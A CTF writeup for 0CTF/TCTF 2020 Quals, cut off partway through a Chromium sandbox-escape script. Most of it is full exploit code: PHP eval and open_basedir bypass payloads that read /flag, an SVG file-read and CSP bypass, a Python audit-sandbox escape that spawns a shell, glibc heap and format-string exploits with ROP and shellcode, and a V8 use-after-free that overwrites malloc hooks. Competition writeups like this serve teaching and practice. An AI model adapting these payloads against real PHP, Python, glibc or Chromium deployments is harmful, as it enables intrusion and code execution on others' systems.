0CTF/TCTF 2020 Quals Writeup
Writeup
Misc/Cloud Computing
简单fuzz后,选择使用header来绕过并rce
http://pwnable.org:47780/?action=upload&data=<?=end(getallheaders());?>
header最后一个字段加上:eval($_POST[a]);
加上error_reporting(-1)
再scandir()
得到报错发现有openbasedir和disable_function, 绕过一下:
error_reporting(E_ALL);mkdir('/var/www/html/sandbox/xxxxxxxxxxxx/AAA');chdir('/var/www/html/sandbox/xxxxxxxxxxxx/AAA');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');
然后readfile('/flag')
发现是乱码,base64_encode(file_get_contents('/flag'))
先转base64再本地转一下,file命令查看发现是gzip压缩包,解压出来一个文件系统
Linux rev 1.0 ext2 filesystem data (mounted or unclean), UUID=d4d08581-e309-4c51-990b-6472ba249420 (large files)
使用r-studio恢复数据得到flag
babyring
hash碰撞
随机生成 2^16 个msg,每个msg生成一个rc4的异或和,一共 2^16 个 随机生成 2^16 个x1,每个x1生成一个ys1,一共 2^16 个 随机生成 2^16 个x2,每个x1生成一个ys2,一共 2^16 个 随机生成 2^16 个x3,每个x1生成一个ys3,一共 2^^16 个 每个rc4异或和与每个ys1异或,得到2^32个值,打表 每个ys2与每个ys3异或,得到2^32个值,打表
找到两个表中相同的元素即可
emmm
设res文件里的值为 (x_i, y_i)
假如能找到一组 (x1,y1),(x2,y2) 满足 x1*n=x2 (mod p),且n比较小,就能够 O(n^2) 求解 k1
tmp0 = x * k0 % p
tmp1 = tmp0 * c % m
tmp2 = tmp1 * k1 % p
考虑 encrypt(n*x1)
tmp0 = (n*x1) * k0 % p = n * (x1 * k0 % p) - t1 * p (0≤t1<n) tmp1 = n * (x1 * k0 % p * c % m) + (-t1 * p * c) % m - t2 * m (0≤t2≤n) (模p意义下) y2 = tmp2 = n * y1 + ((-t1 * p * c) % m - t2 * m) * k1
枚举 t1,t2 就能解 k1
因为有 2^24 个x,所以有 2^48 组(x1,x2),p有58位,n大概最小能到 2^12 左右
K0 = 134854706973672807
K1 = 187692079449969593
invC = 1131579515458719391
def inv(x):
return pow(x,P-2,P)
def decrypt(y,K0,K1):
global P,C,M
ans = []
for t3 in range(5):
x = (y * inv(K1) % P + P*t3) * invC % M * inv(K0) % P
if encrypt_block(x)==y:
ans.append(x)
return ans
lottery
ecb重放。16字节一个block,替换前4个block。注意的是,会更换user的前一个byte,因此我们需要找到和我们的目标user第一个byte相同的用户。多开,爆破之。
import requests
import base64
import re
url = "http://pwnable.org:2333/user/register"
url_login = "http://pwnable.org:2333/user/login"
url_buy="http://pwnable.org:2333/lottery/buy"
url_info="http://pwnable.org:2333/lottery/info"
def get_enc_from_username(un):
session = requests.session()
data={
'username':un,
'password':"aaaa"
}
register=requests.post(url=url,data=data)
login=session.post(url=url_login,data=data)
pattern=re.compile(r'"api_token":"(.*?)","coin')
m=re.findall(pattern,login.text)
buy_data={
'api_token':m[0]
}
buy=session.post(url=url_buy,data=buy_data)
pattern=re.compile(r'"enc":"(.*?)"')
n=re.findall(pattern,buy.text)
return n[0]
def info(enc):
session = requests.session()
info_data = {
'enc': enc
}
info = session.post(url=url_info, data=info_data)
pattern = re.compile(r'"lottery":"(.*?)","user":')
l = re.findall(pattern, info.text)
print info.text
# print(info.text)
# print("lottery: " + l[0] + "\n")
pattern = re.compile(r',"user":"(.*?)","coin":')
u = re.findall(pattern, info.text)
return u[0]
def charge(enc):
session = requests.session()
info_data = {
'enc': enc
}
info = session.post(url=url_info, data=info_data)
pattern = re.compile(r'"lottery":"(.*?)","user":')
l = re.findall(pattern, info.text)
# print(info.text)
print("lottery: " + l[0] + "\n")
pattern = re.compile(r',"user":"(.*?)","coin":')
u = re.findall(pattern, info.text)
print("user: " + u[0])
pattern = re.compile(r'"coin":(.*?)}')
c = re.findall(pattern, info.text)
print("coin: " + c[0])
url_get_money_back = "http://pwnable.org:2333/lottery/charge"
get_money_back = {
'user': u[0],
'coin': c[0],
'enc': enc
}
get_back = session.post(url=url_get_money_back, data=get_money_back)
print(get_back.text)
import os
#enc1=get_enc_from_username("fuckallo")
#print enc1
enc1="6\/cdkogK5Y+4ov\/k0oN0UVZE5L1O+24nfQyb3lXqduDOoB\/0trCCcL7bzXD73vyMXpUU4K\/Fls5GL03lgVvBYrk1ARz+kOioplCU7+SMuDJpjFuc1QqQz7hMzncIGijYjPkY23IMIpBaPqBZ5op6hvbSt9reYD8AcCI4hIXsxZg="
#pre1=info(enc1)[0:2]
#print pre1
pre1="11"
#raw_input()
while 1:
name=os.urandom(4).encode("hex")
enc2 = get_enc_from_username(name)
pre2=info(enc2)[0:2]
print pre1,pre2
if pre2==pre1:
print "find"
fakeenc=base64.b64encode(enc2.decode("base64")[0:64]+enc1.decode("base64")[64:])
charge(fakeenc)
Wechat Generator
在svg转换为png图片的时候,可以向svg中插入image标签来读取任意文件,读取app.py得到secret路由
发现需要寻找到一个XSS,当将imagemagick转换的后缀名改为htm以后,得到一个html页面,可以插入html标签:
发现被CSP拦截,但是发现CSP没有限制meta标签的跳转,同时题目只需要alert(1)即可获得flag,故使用meta标签跳转到自己的vps上触发alert(1),获得flag,src等参数的过滤可以通过双写绕过
<memetata name="language" content="0;http://vps/a.html" http-equiv="refresh"" />
Happy_tree
整个程序的执行逻辑存储在一个树状的结构中(多叉树),其中每个节点的结构体如下所示:
struct tree_node{
DWORD multiple/opcode;
DWORD width;
DWORD func_handle;
DWORD node_cnt;
tree_node** a5;
}
由 func_handle 决定该节点的功能和向下遍历的方式,根节点为 0x000271D0
解决方法就是写个脚本把执行过程打印出来,然后看计算逻辑
最后解密脚本如下:
import os
import binascii
check = [
0xa25dc66a,0x00aa0036,0xc64e001a,0x369d0854,0xf15bcf8f,
0x6bbe1965,0x1966cd91,0xd4c5fbfd,0xb04a9b1b
]
dword = 0x67616c66
for i in range(100000):
dword = dword ^ (dword << 0xd)
dword &= 0xffffffff
dword = dword ^ (dword >> 0x11)
dword &= 0xffffffff
dword = dword ^ (dword << 5)
dword &= 0xffffffff
print hex(dword)
ans = ''
cnt = 0
for x in check:
dword = x
for j in range(100000):
t = 0x1f
for k in range(32/5+1):
tmp = dword & t
tmp = tmp << 5
dword = tmp ^ dword
t = t << 5
dword = dword & 0xffffffff
t = 0xffff8000
for k in range(32/0x11+1):
tmp = dword & t
tmp = tmp >> 0x11
dword = tmp ^ dword
t = t >> 0x11
dword = dword & 0xffffffff
t = 0x1fff
for k in range(32/0xd+1):
tmp = dword & t
tmp = tmp << 0xd
dword = tmp ^ dword
t = t << 0xd
dword = dword & 0xffffffff
if cnt % 2 == 0:
ans += binascii.a2b_hex(hex(dword)[2:-1])[::-1]
else:
ans += binascii.a2b_hex(hex(dword^0xaaaaaaaa)[2:-1])[::-1]
cnt += 1
print hex(dword)
print ans
Simple Curve
We implemented this attack method https://www.math.uwaterloo.ca/~ajmeneze/publications/hyperelliptic.pdf
The calc() is giving us order part and then inverse mod.
U, V = ([113832590633816699072296178013238414056344242047498922038140127850188287361982, 107565990181246983920093578624450838959059911990845389169965709337104431186583, 1], [60811562094598445636243277376189331059312500825950206260715002194681628361141, 109257511993433204574833526052641479730322989843001720806658798963521316354418])
F = GF(2^256)
PP.<u> = PolynomialRing(F)
h = u^2 + u
f = u^5 + u^3 + 1
H = HyperellipticCurve(f, h)
J = H.jacobian()
X = J(F)
U = map(F.fetch_int, U)
V = map(F.fetch_int, V)
t = X([U[0] + U[1] * u + u^2, V[0] + V[1] * u])
def calc(n):
F = GF(2^1)
PP.<u> = PolynomialRing(F)
h = u^2 + u
f = u^5 + u^3 + 1
H = HyperellipticCurve(f, h)
J = H.jacobian()
X = J(F)
cs = H.count_points(2 * n)
c1 = cs[n - 1]
c2 = cs[-1]
s1 = 2^n - c1
s2 = (c2 - 2^(2 * n) + s1^2) / 2
ksi = 1 - s1 + s2 - s1 * 2^n + 2^(2 * n)
return ksi - c1 - 1
n = calc(256)
k = inverse_mod(65537, n)
t2 = t * k
print "flag{" + hex(t2[0].roots()[0][0].integer_representation())[2:-1].decode("hex") +"}"
pyaucalc
builtins 可以通过 subclasses 搞出来,然后字节码搞出任意读写过 audit 就 ok 了。
执行是 eval ,执行不了语句,所以还需要用 exec 包一下:
DEBUG = False
DOCKER = False
if DEBUG:
i = 139
if DOCKER:
i = 185
else:
i = 183
sys = ''.__class__.__mro__[-1].__subclasses__()[i]()._module.sys;
modules = sys.modules
builtins = modules['builtins']
types = modules['types']
id = builtins.id
print = builtins.print
hex = builtins.hex
bytearray = builtins.bytearray
bytes = builtins.bytes
range = builtins.range
len = builtins.len
type = builtins.type
object = builtins.object
ord = builtins.ord
def p64(x):
b = b''
for i in [0, 1, 2, 3, 4, 5, 6, 7]:
mask = (1 << ((i + 1) << 3)) - 1
cur = (mask & x) >> (i << 3)
b += bytes([cur])
return b
def make_arb(addr, size=0x1000):
a = (3, 2, 1)
b = (4, 5, 6, 7)
consts = (4, 5, 6)
fake_bytearray = p64(1) + p64(id(bytearray)) + p64(size) + p64(size) + p64(addr) + p64(addr) + p64(addr)
pointer = p64(id(fake_bytearray) + 0x20)
consts_buf = id(consts) + 0x18
pointer_buf = id(pointer) + 0x20
offset = (pointer_buf - consts_buf) // 8
def func():
return 1
code = b'\x90' + bytes([(offset & 0xff0000) >> 16])
code += b'\x90' + bytes([(offset & 0xff00) >> 8])
code += b'd' + bytes([offset & 0xff])
code += b'S\x00'
func.__code__ = func.__code__.replace(co_code=code, co_consts=consts)
print(hex(offset))
return func()
def arb_call(addr, arg1=''):
a = type('fuck', (object,), {})
type_rw = make_arb(id(a))
target = p64(addr)
for i in [0,1,2,3,4,5,6,7]:
type_rw[0x80 + i] = target[i]
x = a()
obj_rw = make_arb(id(x))
adjust = -1
for i in range(len(arg1)):
c = arg1[i]
obj_rw[i] = ord(c) + adjust
if adjust != 0:
adjust = 0
print('fuck yeah!')
x()
if DEBUG and not DOCKER:
base = id(type) - 0x364160
system_call = base + 0xa3c9d
else:
base = id(type) - 0x358940
system_call = base + 0xf1553
arb_call(system_call, 'sh')
执行脚本:
from pwn import *
context(log_level='debug')
DEBUG = False
DOCKER = False
def read_sandbox_bin():
io.recvuntil(b">>>")
io.sendline(b"sandbox")
data = io.recvuntil(b"\n").strip()
return data
def send_code():
io.recvuntil(b">>>")
if DEBUG:
if DOCKER:
io.sendline(b'\'\'.__class__.__mro__[-1].__subclasses__()[185]()._module.sys.modules[\'builtins\'].exec(\'\'.__class__.__mro__[-1].__subclasses__()[185]()._module.sys.modules[\'builtins\'].input())')
else:
io.sendline(b'\'\'.__class__.__mro__[-1].__subclasses__()[139]()._module.sys.modules[\'builtins\'].exec(\'\'.__class__.__mro__[-1].__subclasses__()[139]()._module.sys.modules[\'builtins\'].input())')
else:
io.sendline(b'\'\'.__class__.__mro__[-1].__subclasses__()[183]()._module.sys.modules[\'builtins\'].exec(\'\'.__class__.__mro__[-1].__subclasses__()[183]()._module.sys.modules[\'builtins\'].input())')
'''
if DEBUG:
if DOCKER:
io.sendline(b'sys = \'\'.__class__.__mro__[-1].__subclasses__()[185]()._module.sys; modules=sys.modules; builtins=sys.modules[\'builtins\']; builtins.exec(\'\'.join(sys.stdin.readlines()))')
else:
io.sendline(b'sys = \'\'.__class__.__mro__[-1].__subclasses__()[139]()._module.sys; modules=sys.modules; builtins=sys.modules[\'builtins\']; builtins.exec(\'\'.join(sys.stdin.readlines()))')
else:
io.sendline(b'sys = \'\'.__class__.__mro__[-1].__subclasses__()[183]()._module.sys; modules=sys.modules; builtins=sys.modules[\'builtins\']; builtins.exec(\'\'.join(sys.stdin.readlines()))')
'''
payload = 'builtins=\'\'.__class__.__mro__[-1].__subclasses__()[{}]()._module.sys.modules[\'builtins\']; builtins.exec({})'
with open('arb.py', 'r') as f:
content = f.read()
if DEBUG:
if DOCKER:
i = 185
else:
i = 139
else:
i = 183
io.info(repr(content))
payload = payload.format(i, repr(content))
io.sendline(payload)
io.recvuntil('fuck yeah!')
io.sendline('/readflag')
io.interactive()
if DEBUG:
io = process(['python', 'run.py'])
else:
io = remote("pwnable.org", 41337)
#data =read_sandbox_bin()
#a = eval(data)
#with open("sandbox","wb") as f:
# f.write(a)
send_code()
noeasyphp
利用 FFI::cast
类型混淆搞个任意读,然后读 ffi 结构体里的 symbols。
import requests
import urllib.parse
def main():
src = '''
error_reporting(E_ALL);
register_shutdown_function("fatal_handler");
function fatal_handler(){
$errfile = "unknown file";
$errstr = "shutdown";
$errno = E_CORE_ERROR;
$errline = 0;
$error = error_get_last();
if($error !== NULL) {
$errno = $error["type"];
$errfile = $error["file"];
$errline = $error["line"];
$errstr = $error["message"];
var_dump($errno, $errstr, $errfile, $errline);
}
}
// read ffi_addr + 0x40: symbols
function read_addr8($addr) {
$b = FFI::new('long[2]'); // 0x60
$b[0] = $addr;
$tmp = FFI::cast("long*[2]", $b);
return $tmp[0][0];
}
function read_addr_size($addr, $size) {
$s = "";
$tmp = FFI::new('long[2]');
for ($i = 0; $i <= $size; $i++) {
$tmp = FFI::cast('long[2]', $tmp);
$tmp[0] = $addr + $i;
$tmp = FFI::cast("char*[2]", $tmp);
$s .= $tmp[0][0];
}
return $s;
}
function var_dump_ret($mixed = null) {
ob_start();
var_dump($mixed);
$content = ob_get_contents();
ob_end_clean();
return $content;
}
$temp1 = FFI::new('long[12]');
$temp2 = FFI::new('long[12]');
$ffi = FFI::load("/flag.h");
$temp3 = FFI::new('long[12]');
$temp4 = FFI::new('long[12]');
$temp5 = FFI::new('long[12]');
$temp6 = FFI::new('long[12]');
$temp7 = FFI::new('long[12]');
$temp8 = FFI::new('long[12]');
$temp9 = FFI::new('long[12]');
function read_cdata_addr($cdata) {
$h = FFI::cast('long*', $cdata);
$h = FFI::cast('long', $h);
$heap_addr_new = var_dump_ret($h);
$heap_addr_new = explode('int(', $heap_addr_new);
$heap_addr_new = explode(')', $heap_addr_new[1])[0];
$heap_addr = (int)$heap_addr_new;
return $heap_addr;
}
echo '===temp1 addr===\n';
var_dump(dechex(read_cdata_addr($temp1)));
echo '===temp2 addr===\n';
var_dump(dechex(read_cdata_addr($temp2)));
echo '===temp3 addr===\n';
var_dump(dechex(read_cdata_addr($temp3)));
echo '===temp4 addr===\n';
var_dump(dechex(read_cdata_addr($temp4)));
echo "===START===\n";
$b = FFI::new('long[12]'); // 0x60
$b[0] = 0xdeadbeef;
$b[1] = 0xbeefdead;
$heap = FFI::cast("long*", $b);
$heap = FFI::cast("long", $heap);
echo "===Getting Heap Addr===\n";
$heap_addr_new = var_dump_ret($heap);
$heap_addr_new = explode('int(', $heap_addr_new);
$heap_addr_new = explode(')', $heap_addr_new[1])[0];
$heap_addr = (int)$heap_addr_new;
echo "===Done Getting Heap Addr===\n";
//$ffi_addr = $heap_addr - 0x60;
$ffi_addr = read_cdata_addr($temp3) + 0x60;
echo "===READ_ADDR_STARTS===\n";
echo "--> Stage 1\n";
var_dump(dechex($ffi_addr)); // 0x660
$symbols_addr = read_addr8($ffi_addr+0x40);
var_dump(dechex($symbols_addr));
echo "--> Stage 2\n";
$symbols_bucket = read_addr8($symbols_addr+0x10);
var_dump(dechex($symbols_bucket));
echo "--> Stage 3\n";
$symbols_string = read_addr8($symbols_bucket+0x18);
var_dump(dechex($symbols_string));
echo "--> Stage 4\n";
$string_len = read_addr8($symbols_string+0x10);
var_dump($string_len);
echo "--> Stage 5\n";
$string_len = read_addr8($symbols_string+0x10);
var_dump(dechex($string_len));
var_dump(read_addr_size($symbols_string+0x18, $string_len));
//var_dump(dechex(read_addr8($symbols_string+0x18)));
echo '--- done ---\n';
$flag = $ffi->flag_wAt3_uP_apA3H1();
for ($i = 0; $i < 30; $i++) {
echo $flag[$i];
}
'''
#res = requests.get('''http://pwnable.org:19261/?rh=$ffi = FFI::load("/flag.h");$b = FFI::new('long[12]');$heap = FFI::cast("long*", $b); $heap = FFI::cast("long", $heap); $arr = FFI::new('long[1]'); $arr[0] = $heap; $heap_addr = $arr[0]; $ffi_addr = $heap_addr - 0x60; function read_addr8()''')
res = requests.get('http://pwnable.org:19261/?rh={}'.format(urllib.parse.quote(src)))
print(res)
print(res.text)
if __name__ == "__main__":
main()
easyphp
列目录,看到/flag,so
$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');};
题目的openbasedir一直在变,多请求几次就行了
http://pwnable.org:19260/?rh=mkdir('/tmp/w1nd'); chdir('/tmp/w1nd'); ini_set('open_basedir','..'); chdir('..'); chdir('..'); chdir('..'); chdir('..'); chdir('..'); ini_set('open_basedir','/'); echo "open_basedir:".ini_get('open_basedir')."\n"; print_r(scandir('..')); echo file_get_contents("php://filter/convert.base64-encode/resource=/flag.so");
Duet
from pwn import *
debug = 0
if debug:
# p = process(['docker', 'run', '-i', '0c23e3923320'])
p = process(['chroot', './duet', '/duet'], aslr=False)
else:
p = remote('pwnable.org', 12356)
ins_map = ['琴', '瑟']
def alloc(t: int, l, c):
p.sendlineafter(':', '1')
p.sendlineafter(':', ins_map[t])
p.sendlineafter(':', str(l))
if len(c) < l:
if isinstance(c, bytes):
c = c.ljust(l, b'\x00')
elif isinstance(c, str):
c = c.ljust(l, '\x00')
p.sendafter(':', c)
def free(t: int):
p.sendlineafter(':', '2')
p.sendlineafter(':', ins_map[t])
def show(t: int):
p.sendlineafter(':', '3')
p.sendlineafter(':', ins_map[t])
def magic(num):
p.sendlineafter(':', '5')
p.sendlineafter(':', str(num))
def un_tc(size):
for x in range(7):
alloc(0, size, 'f')
free(0)
un_tc(0x98)
un_tc(0xe8)
for x in range(5):
alloc(0, 0xd8, 'f')
free(0)
alloc(1, 0x98, 'v' * 0x98)
un_tc(0x188)
free(1)
un_tc(0x1e8)
# alloc(0, 0x98, 'v')
# free(0)
alloc(0, 0x188, 'a')
payload = b'b' * 0xe0 + p64(0x1f0) + p64(0x10) + b'b' * 8
alloc(1, 0xf8, payload)
free(0)
alloc(0, 0x98, 'v' * 0x98)
magic(0xf1)
free(0)
payload = b'c' * 0xf8 + p64(0xa1) + b'd' * 0x98 + p64(0x61)
alloc(0, 0x1e8, payload)
free(1)
show(0)
p.recvuntil('c' * 0xf8)
p.recv(8)
heap = u64(p.recv(8))
libc = u64(p.recv(8)) - 0x1e4ca0
log.success(f'libc :{libc:x} heap: {heap:x}')
free(0)
alloc(0, 0x98, 'nonick')
alloc(1, 0x98, 'nonick')
free(0)
alloc(0, 0x200, p64(0x11) * 20)
free(0)
payload = b'c' * 0xf8 + p64(0x191) + b'e' * 0xe8
alloc(0, 0x1e8, payload)
free(1)
alloc(1, 0xa8, 'nonick')
free(0)
fake = p64(0) + p64(0xe1) + p64(heap + 0x1b60) + p64(heap + 0x1dd0 + 0xe0)
fake = fake.ljust(0xe0)
fake += p64(0) + p64(0xe1) + p64(heap + 0x1dd0) + p64(libc + 0x1E7600 - 0x10)
fake += p64(0x11)
context.arch = 'amd64'
alloc(0, 0x300, fake)
free(0)
page = heap + 0x20f0
page >>= 12
page <<= 12
sigret = libc + 0x14BC61
fake = p64(sigret) * 3
fake += p64(heap + 0x20f0 + 0x20)
fake += p64(0)
fake += p64(libc + 0x00000000000538e3) + p64(0)
fake += b'\x00' * 0x30
fake += p64(libc + 0xed5dc)
fake += b'\x00' * (0xd0 - 0x40)
fake += p64(heap + 0x20f0 + 0x20)
fake += p64(libc + 0x0000000000026542)
fake += p64(page)
fake += p64(libc + 0x0000000000026f9e)
fake += p64(0x1000)
fake += p64(libc + 0x000000000012bda6)
fake += p64(7)
fake += p64(libc + 0x117590)
fake += p64(heap + 0x20f0 + len(fake) - 8)
fake += asm(
f'''{shellcraft.amd64.linux.echo('aaaa')}
{shellcraft.amd64.pushstr('flag')}
lea rdi,[rsp]
xor rsi,rsi
mov rax,2
syscall
{shellcraft.amd64.linux.read(3, 'rdi', 0x100)}
{shellcraft.amd64.linux.write(1, 'rsp', 0x100)}'''
)
alloc(0, 0x300, fake)
free(0)
for x in range(10):
sz = 0x3f0 - x * 0x10
data = p64(0x11) * (sz >> 3)
for y in range(7):
alloc(0, sz, data)
free(0)
payload = b'c' * 0xf8 + p64(0xb1) + b'e' * 0xa8 + p64(0xe1) + p64(libc + 0x1e4d70) + p64(heap + 0x1dd0)
alloc(0, 0x1e8, payload)
free(1)
io_list = libc + 0x1E5660
log.success(f'io list all {io_list:x}')
vt = libc + 0x1E5B40 - 0x18
alloc(1, 0xd8,
b'\x00' * 0x28 + p64(0x11) + p64(0) + p64(0x211) + p64(0x11) * 8 + p64(0x11223344) + p64(
heap + 0x20f0 - 8) + p64(heap + 0x1bd0 - 0x70) + p64(1) * 6 + p64(vt))
free(0)
fake = p64(0xfbad8000) + p64(0x1441) + p64(0x1) + p64(0x1) + p64(0x5) + p64(0x6)
payload = b'c' * 0xf8 + p64(0xb1) + b'e' * 0xa0 + fake
alloc(0, 0x1e8, payload)
free(1)
# if debug:
# gdb.attach(p, f'hbreak *0x1555553bfff8 ')
p.sendlineafter(':', '6')
p.interactive()
simple echoserver
from pwn import *
debug = 0
def exp(p):
payload = '%c' * 5 + '%70c%c' + '%c' * 10 + '%245c' + '%hhn' + '%c' * 10 + '%*c' + '%c' * 6 + '%507442c' + '%n'
payload = payload.ljust(256, 'a')
p.sendafter('name:', payload)
# p.sendafter('phone:', '6' * 10)
p.sendlineafter('!', '~.')
while True:
try:
if debug:
p = process('./simple_echoserver', env={'LD_PRELOAD': './libc-2.27.so'}, stderr=open('/dev/null', 'w'))
else:
p = remote('pwnable.org', 12020)
# if debug:
# gdb.attach(p, f'vmmap')
# payload = '%75c%7$hhn%43$hhn'
exp(p)
p.recv()
p.sendline('ls')
p.sendline('ls')
data = p.recv()
if data:
print(data)
p.interactive()
p.close()
break
except:
continue
eeemoji
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
io = remote("pwnable.org", 31322)
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True : io.recvuntil(a,b)
rn = lambda x : io.recvn(x)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
irt = lambda : io.interactive()
dbg = lambda text=None : gdb.attach(io, text)
lg = lambda s,addr : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
def Menu(cmd):
welcome = u'\U0001F37A\U0000000A'.encode("utf-8")
sla(welcome, cmd)
def Add():
cmd = u'\U0001F37A'.encode("utf-8")
Menu(cmd)
def Show():
cmd = u'\U0001F42E'.encode("utf-8")
Menu(cmd)
def Edit(content):
cmd = u'\U0001F434'.encode("utf-8")
Menu(cmd)
sl(content)
def unicode_to_utf8(aint):
fmt1 = '0xxxxxxx'
fmt2 = '110xxxxx10xxxxxx'
fmt3 = '1110xxxx10xxxxxx10xxxxxx'
fmt4 = '11110xxx10xxxxxx10xxxxxx10xxxxxx'
fmt5 = '111110xx10xxxxxx10xxxxxx10xxxxxx10xxxxxx'
fmt6 = '1111110x10xxxxxx10xxxxxx10xxxxxx10xxxxxx10xxxxxx'
abin = bin(aint)[2:]
total = len(abin)
if total < 8:
fmt = fmt1
elif total < 12:
fmt = fmt2
elif total < 17:
fmt = fmt3
elif total < 22:
fmt = fmt4
elif total < 27:
fmt = fmt5
elif total <= 32:
fmt = fmt6
fmt = fmt[::-1]
abin = abin[::-1]
final = ''
i = 0
for val in fmt:
if i != total:
if val == 'x':
final += abin[i]
i += 1
else :
final += val
else :
if val == 'x':
final += '0'
else :
final += val
final = int(final[::-1], 2)
if final == 0:
return '\x00'
else :
return p64(final)[::-1].strip('\x00')
Add()
payload = unicode_to_utf8(0x11223344)
payload += unicode_to_utf8(0x09e83bb0)
payload += unicode_to_utf8(0x2f000000)
payload += unicode_to_utf8(0x2f6e6962)
payload += unicode_to_utf8(0x00006873)
payload += unicode_to_utf8(0x5e006a5f)
payload += unicode_to_utf8(0x0f5a006a)
payload += unicode_to_utf8(0x00000005)
payload += 200*u'\U00005341'.encode("utf-8")
Edit(payload)
irt()
eeeeeemoji
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
io = remote("pwnable.org", 31323)
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True : io.recvuntil(a,b)
rn = lambda x : io.recvn(x)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
irt = lambda : io.interactive()
dbg = lambda text=None : gdb.attach(io, text)
lg = lambda s,addr : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
def Menu(cmd):
welcome = u'\U0001F37A\U0000000A'.encode("utf-8")
sla(welcome, cmd)
def Add():
cmd = u'\U0001F37A'.encode("utf-8")
Menu(cmd)
ru('mmap() at @')
return int(rl(), 16)
def Show():
cmd = u'\U0001F42E'.encode("utf-8")
Menu(cmd)
def Edit(content):
cmd = u'\U0001F434'.encode("utf-8")
Menu(cmd)
sl(content)
def unicode_to_utf8(aint):
fmt1 = '0xxxxxxx'
fmt2 = '110xxxxx10xxxxxx'
fmt3 = '1110xxxx10xxxxxx10xxxxxx'
fmt4 = '11110xxx10xxxxxx10xxxxxx10xxxxxx'
fmt5 = '111110xx10xxxxxx10xxxxxx10xxxxxx10xxxxxx'
fmt6 = '1111110x10xxxxxx10xxxxxx10xxxxxx10xxxxxx10xxxxxx'
abin = bin(aint)[2:]
total = len(abin)
if total < 8:
fmt = fmt1
elif total < 12:
fmt = fmt2
elif total < 17:
fmt = fmt3
elif total < 22:
fmt = fmt4
elif total < 27:
fmt = fmt5
elif total <= 32:
fmt = fmt6
fmt = fmt[::-1]
abin = abin[::-1]
final = ''
i = 0
for val in fmt:
if i != total:
if val == 'x':
final += abin[i]
i += 1
else :
final += val
else :
if val == 'x':
final += '0'
else :
final += val
final = int(final[::-1], 2)
if final == 0:
return '\x00'
else :
return p64(final)[::-1].strip('\x00')
addrlist = []
for x in xrange(25):
addr = Add()
if 0x8000 == addr:
addrlist.append(addr)
break
else:
addrlist.append(addr)
for x in addrlist:
log.info(hex(x))
payload = 16*unicode_to_utf8(0)
payload += unicode_to_utf8(0x8500)
payload += unicode_to_utf8(0x0)
payload += 12*unicode_to_utf8(0)
payload += unicode_to_utf8(0x206)
payload += unicode_to_utf8(0)
payload += unicode_to_utf8(0x8088)
payload += unicode_to_utf8(0x0)
payload += unicode_to_utf8(0x8090)
payload += unicode_to_utf8(0x0)
payload += unicode_to_utf8(0x003bb866)
payload += unicode_to_utf8(0x000009e8)
payload += unicode_to_utf8(0x69622f00)
payload += unicode_to_utf8(0x68732f6e)
payload += unicode_to_utf8(0x6a5f0000)
payload += unicode_to_utf8(0x006a5e00)
payload += unicode_to_utf8(0x050f5a)
payload += 200*u'\U0000e431'.encode("utf-8")
Edit(payload)
irt()
chromium rce
const hex = (x) => ("0x" + x.toString(16));
const print = console.log
const arr1 = new Uint32Array(new ArrayBuffer(0x800));
const arr2 = new Uint32Array(new ArrayBuffer(0x800));
%ArrayBufferDetach(arr1.buffer);
arr2.set(arr1); // leak;
const libcAddr = arr2[2] + arr2[3] * 0x100000000 - 0x3ebca0
print(hex(libcAddr));
const abs = [];
for (let i = 0; i < 8; i++) {
abs.push(new ArrayBuffer(0x60));
}
const arr3 = new Uint32Array(new ArrayBuffer(0x60));
const arr4 = new Uint32Array(new ArrayBuffer(0x60));
const mallocHook = libcAddr + 0x3ebc30 - 0x23;
arr4[0] = mallocHook % 0x100000000;
arr4[1] = (mallocHook - arr4[0]) / 0x100000000;
for (let i = 0; i < 8; i++) {
%ArrayBufferDetach(abs[i]);
}
%ArrayBufferDetach(arr3.buffer);
arr3.set(arr4);
new ArrayBuffer(0x60);
const hookWriter = new Uint8Array(new ArrayBuffer(0x60));
let oneGadget = libcAddr + 0x10a38c;
for (let i = 0; i < 8; i++) {
const t = oneGadget % 0x100;
hookWriter[0x13 + i] = t;
oneGadget = (oneGadget - t) / 0x100;
}
// hookWriter.fill(0x41, 0x13, 0x13 + 8);
new ArrayBuffer(0);
Chromium SBX
<!DOCTYPE html>
<html>
<head>
<script type="text/javascript" src="/mojo_bindings.js"></script>
<script type="text/javascript" src="/third_party/blink/public/mojom/tstorage/tstorage.mojom.js"></script>
<script type="text/javascript">
const hex = (x) => ("0x" + x.toString(16));
const print = console.log;
const refs = [];
const tInsPtrSprays = [];
const tInsPtrSprays2 = [];
async function createSprayObjects(tInsPtrSprays)
{
const tStrPtrSpray = new blink.mojom.TStoragePtr();
Mojo.bindInterface(blink.mojom.TStorage.name,
mojo.makeRequest(tStrPtrSpray).handle, 'context', true);
await tStrPtrSpray.init();
const tInsPtr = (await tStrPtrSpray.createInstance()).instance;
tInsPtrSprays.push(tInsPtr);
refs.push(tStrPtrSpray);
}
// 10 -> True, True, True, True, True, True, True, True, True, True, True, False, True, True, False, True, True, False, True, True, True, True, True, True,
// 12 15 18 22 27 33 41 51 63 78 97 60 75 93 57 71 88 55 68 85 106 132 165 206
async function sprayQueue(tInsPtrSprays, val=0x41414141)
{
let i = 0;
for (const tInsPtr of tInsPtrSprays)
{
for (let i = 0; i < 97; i++)
await tInsPtr.push(val);
for (let i = 0; i < 49; i++)
await tInsPtr.pop();
// current capacity: 60, current size: 48
for (let i = 0; i < 93 - 48; i++)
await tInsPtr.push(val);
for (let i = 0; i < 47; i++)
await tInsPtr.pop();
// current capacity: 57, current size: 46
for (let i = 0; i < 88 - 46; i++)
await tInsPtr.push(val);
